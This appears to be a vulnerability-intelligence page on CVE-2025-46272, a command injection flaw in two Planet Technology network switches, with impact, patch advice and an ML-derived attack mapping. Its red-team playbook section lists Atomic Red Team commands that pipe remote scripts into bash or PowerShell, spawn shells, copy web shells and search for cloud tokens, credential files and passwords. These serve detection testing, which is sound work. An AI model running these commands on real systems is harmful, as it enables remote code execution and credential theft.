CVE-2025-46272
Overview
The vulnerability is a command injection flaw (CWE-78) present in Planet Technology's WGS-804HPT-V2 and WGS-4215-8T2S devices. It arises from insufficient input validation in components handling user-supplied data, allowing crafted input to be interpreted as operating system commands. The affected feature is the device's command processing interface, which does not properly sanitize input before execution on the host system.
Vulnerability Description
WGS-80HPT-V2 and WGS-4215-8T2S are vulnerable to a command injection attack that could allow an unauthenticated attacker to execute OS commands on the host system.
Impact
An unauthenticated attacker can execute arbitrary operating system commands remotely on the affected devices, enabling control over the host system without any user interaction or credentials. This can lead to unauthorized data access, system manipulation, or disruption of network operations. The vulnerability's CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates it is exploitable over the network with low attack complexity and no privileges or user interaction required, increasing the risk of widespread exploitation in operational environments.
Solution
Planet Technology has released firmware updates addressing this command injection vulnerability for WGS-804HPT-V2 and WGS-4215-8T2S devices. Administrators should consult the CISA advisory (ICSA-25-114-06) for detailed patching instructions and apply the latest firmware versions provided by the vendor. No workarounds are specified; immediate firmware upgrade is the recommended mitigation to eliminate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the WGS-80HPT-V2 and WGS-4215-8T2S devices is characterized by a command injection flaw that allows an unauthenticated attacker to execute arbitrary operating system commands on the host system. This type of vulnerability typically arises from insufficient input validation, where user-supplied data is not properly sanitized before being processed by the system. In this case, an attacker can manipulate input fields or parameters to inject malicious commands, which the system then executes with the same privileges as the application. Given the nature of command injection, the potential for exploitation is high, especially if the affected devices are deployed in environments with elevated privileges or critical functions.
Attack vectors for this vulnerability are varied and can be executed remotely, making it particularly dangerous. An attacker may utilize methods such as crafting specially formatted HTTP requests or exploiting vulnerable APIs that do not adequately validate input. For instance, if the devices are exposed to the internet or accessible through an internal network, an attacker could leverage these vectors to gain unauthorized access. Once the attacker successfully injects commands, they can perform a range of malicious activities, including data exfiltration, system manipulation, or deploying additional malware. The ease of exploitation, combined with the lack of authentication requirements, significantly increases the risk of a successful attack.
The real-world impact of such a vulnerability can be severe, particularly for organizations relying on these devices for critical operations. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, or even complete system compromise. The business risks associated with this vulnerability include financial losses due to operational downtime, costs related to incident response and recovery, and potential legal ramifications stemming from data breaches. Moreover, the reputational damage incurred from a publicized security incident can have long-lasting effects on customer trust and market position, making it imperative for organizations to address this vulnerability proactively.
To detect and mitigate the risks associated with this command injection vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify and remediate weaknesses in the system. Additionally, employing web application firewalls (WAFs) can provide an additional layer of defense by filtering and monitoring HTTP requests for malicious payloads. It is also crucial to ensure that all software and firmware are kept up to date with the latest security patches provided by the vendor. Furthermore, organizations should enforce strict access controls and network segmentation to limit the exposure of vulnerable devices, thereby reducing the attack surface.
In conclusion, the command injection vulnerability affecting the WGS-80HPT-V2 and WGS-4215-8T2S devices represents a significant threat to organizations that utilize these products. The potential for unauthorized command execution poses serious risks, including data breaches and operational disruptions. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare their defenses. Implementing robust detection and mitigation strategies will be essential in safeguarding against exploitation and maintaining the integrity of their systems.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
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Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
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CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-46272 |
| cisa.gov |
GitHub CVE
|
https://www.cisa.gov/news-events/ics-advisories/icsa-25-114-06 |